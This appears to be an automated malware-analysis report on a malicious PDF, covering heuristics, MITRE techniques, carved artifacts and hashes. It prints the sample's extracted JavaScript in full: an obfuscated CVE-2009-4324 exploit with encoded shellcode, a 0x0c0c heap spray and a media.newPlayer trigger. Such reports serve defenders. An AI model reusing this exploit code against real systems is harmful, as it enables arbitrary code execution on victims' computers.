MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF contains embedded JavaScript that is heavily obfuscated but ultimately calls `media.newPlayer(null)`, a known indicator for the CVE-2009-4324 exploit. This exploit is designed to execute arbitrary code, likely to download and run a second-stage payload. The presence of multiple embedded PDF objects and JavaScript streams further supports a multi-stage attack.
Machine Learning
- Nyx PDF Classifier malicious score 0.9921
Heuristics 8
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGEA valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var nop = unescape("\x25\x750c0c"); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTALThe same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ocsp.verisign.com0 In PDF document text
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
- http://crl.verisign.com/ThawteTimestampingCA.crl0In PDF document text
- http://crl.verisign.com/tss-ca.crl0In PDF document text
- http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
- http://www.microsoft.com/typographyIn PDF document text
Extracted artifacts 6
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0021_000.js |
pdf-javascript-stream | PDF /JS object 21 at offset 0x514 | 2371 bytes |
SHA-256: 1d611ee7f03716e3d28cb3e60e25b6368cdc0174c0bcf881d1ca4a95b3cbfee6 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var TCfIpiOxOYTTeNgDQsDQaDtVjQ;
for(i=0;i<18000;i++)
TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70;
function AppendLoop(ss,len)
{
for(slen=0;slen<len;)
{
ss +=ss;
slen = ss.length;
}
return ss;
}
function urpl(k,sc)
{
var c = "u";
var kc=k+c
var re = /XX/g;
sc = sc.replace(re,kc);
return sc;
}
var une = unescape;
var sc = "XXc8d9XX74d9XXf424XXecbaXXdee0XX29dcXX5fc9XX37b1XX5731XX8314XX1c03XX243cXX4e05XXdcdeXX59ecXXdcdaXXe0ecXXb881XXd04dXXdcdeXX6becXXd09eXX9067XX71c2XX8867XX8dd6XX9567XX57e2XXce98XXdfa6XXb619XXaa55XXe3ccXXef2bXXa925XX719fXX25efXX07edXX5ee3XXe4ceXX941eXX1dd6XXed27XX06ddXX0bacXXe72fXX95f3XX8239XXbe67XXdffaXX8631XXd055XX6ba7XXc080XX3defXXd855XXe367XX771bXX02b5XXef62XX6337XXd81dXXe086XX238dXX1cbbXXdbe5XX1399XX8357XX7910XX8e8cXX9713XX23daXX1c9bXX8b21XX7914XX9cb4XXe084XXdcceXX1fecXXd4a9XX1fbeXX2889XXa765XXb626XX6decXX2899XX1fbcXXd4a9XX9713XX2326XX1c9bXX8b21XX6b1cXXd091XXa767XX1c26XX99e4XXec5eXXa071XX2b3cXXb713XX3426XX1fa1XX2321XX85faXXcc24XX2ab8XX4d71XXe840XXaa04XX7b41XX03a3XX7e7fXXdcd9XXc22eXXdcdeXX8308XXdcd9XXe2d4XXdcde";
sc = une(urpl("%",sc));
function j_exp()
{
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E\x65\x77\x50\x6C\x61\x79";
var d = "\x65\x72";
var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
var h = "\x70\x72\x69\x6E";
var i = "\x74\x64";
var j = h+i;
var str1="XX0d0cXX0d0cXX0d0cXX0d0cXX4170XX6d7aXX554bXX4d67XX794fXX514fXX6f4dXX585aXX764fXX4c56XX6f4bXX4858XX4249XX666dXX566fXX625aXX4567XX7568XX6a46XX5258XX714eXX7961XX7a61XX4878XX756bXX754dXX4c57XX647aXX5870XX4d46XX4462XX4b4f";
str1 = une(urpl("%",str1));
var nop = unescape("\x25\x750c0c");
nop = AppendLoop(nop,18000);
memory=new Array();
for(i=0;i<0xE00;i++)memory[i] = nop+sc;
if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](f+g, e);
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](str1,e);
}
}
if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
j_exp();
}
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stream_008_off0000d52b.bin |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0xD52B | 355663 bytes |
SHA-256: e1fdd172934d8bcc0f63d124b73e1153937c9f606bf1a3923b9cecece3c7f191 |
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stream_009_off0003fa83.bin |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x3FA83 | 383782 bytes |
SHA-256: 84c82c7b7f990599df559ac40d823188e532c68c6eded107838492fdffb11b41 |
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legacy_pdfkit_stage_000.js |
deobfuscated-js | string-concatenation normalized Acrobat API aliases at offset 0x514 | 126 bytes |
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74 |
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Preview scriptFirst 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */ |
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polyglot_child_pdf_off0000b50a.pdf |
polyglot-child-pdf | Secondary PDF body inside pdf container at offset 0xB50A | 453001 bytes |
SHA-256: 0a231eb7d044fa87a5eeecab75cc90f70f2ba04aed2913b8b917a5c1d2fadc9e |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 long base64-like blob(s).
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polyglot_child_pdf_off000786a6.pdf |
polyglot-child-pdf | Secondary PDF body inside pdf container at offset 0x786A6 | 6125 bytes |
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8 |
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